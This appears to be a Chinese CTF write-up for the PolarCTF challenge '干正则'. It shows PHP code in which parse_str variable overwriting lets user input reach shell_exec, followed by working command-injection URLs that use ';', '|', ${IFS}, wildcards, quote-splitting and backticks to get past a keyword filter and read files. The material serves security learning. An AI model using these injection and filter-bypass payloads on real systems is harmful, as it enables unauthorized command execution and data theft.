【PolarCTF】干正则

复制代码
<?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        if (preg_match('/flag\.php/', $ip)) {
            die("don't show flag!!!");
        }

        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
}

使用;来拼接命令+${IFS}代替空格+使用通配符绕过

复制代码
http://306ce0ee-5ac9-46f3-ba31-994c0fadffb5.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=;ls

可以看到出现flag.php

那么我们可以使用${IFS}来代替空格,使用通配符来匹配flag.php

复制代码
http://306ce0ee-5ac9-46f3-ba31-994c0fadffb5.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=;cat${IFS}flag.*

使用|拼接命令

复制代码
http://306ce0ee-5ac9-46f3-ba31-994c0fadffb5.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=;cat${IFS}flag.*

使用''来分割,绕过关键字过滤

复制代码
http://306ce0ee-5ac9-46f3-ba31-994c0fadffb5.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=|cat%20fla''g.php

cat与``执行命令结合,读取全部文件的源码

复制代码
http://306ce0ee-5ac9-46f3-ba31-994c0fadffb5.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=|cat%20`ls`
相关推荐
数安旭说6 小时前
从“堆叠工具”到“一体化治理”:端点安全的技术演进与实践观察
网络安全·系统架构·数据安全·企业安全·端点安全·防泄密·一体化管理
白猫不黑8 小时前
Python实现简易Web弱口令爆破与防护方案
python·web安全·计算机·网络安全·黑客·信息安全·渗透测试
菩提小狗11 小时前
每日安全情报报告 · 2026-09-17
网络安全·漏洞·cve·安全情报·每日安全
2601_9663771314 小时前
176号令10月1日施行|网安检查换新规矩,数达数安版等保一体机方案助企业从容应对
网络安全·数据安全·数安版等保一体机
qingtian!16 小时前
VM中安装WinServer2016详细教程
网络安全
罗斯83916 小时前
EMBER恶意软件基准数据集
人工智能·算法·安全·网络安全
恣睢s16 小时前
MISC杂项——Base加密加密
网络安全
黄金龙PLUS17 小时前
5个800比特大状态置换算法的设计与分析
算法·网络安全·密码学·哈希算法·同态加密
sbjdhjd18 小时前
从日志包含到临时文件竞争:文件包含进阶复盘中的 Docker、Windows 与 Session 限制
网络·安全·web安全·网络安全·数据挖掘·php·rce
白猫不黑18 小时前
网络安全面试题大全:22道高频题附解析与答案
web安全·计算机·网络安全·信息安全·渗透测试·编程·面试题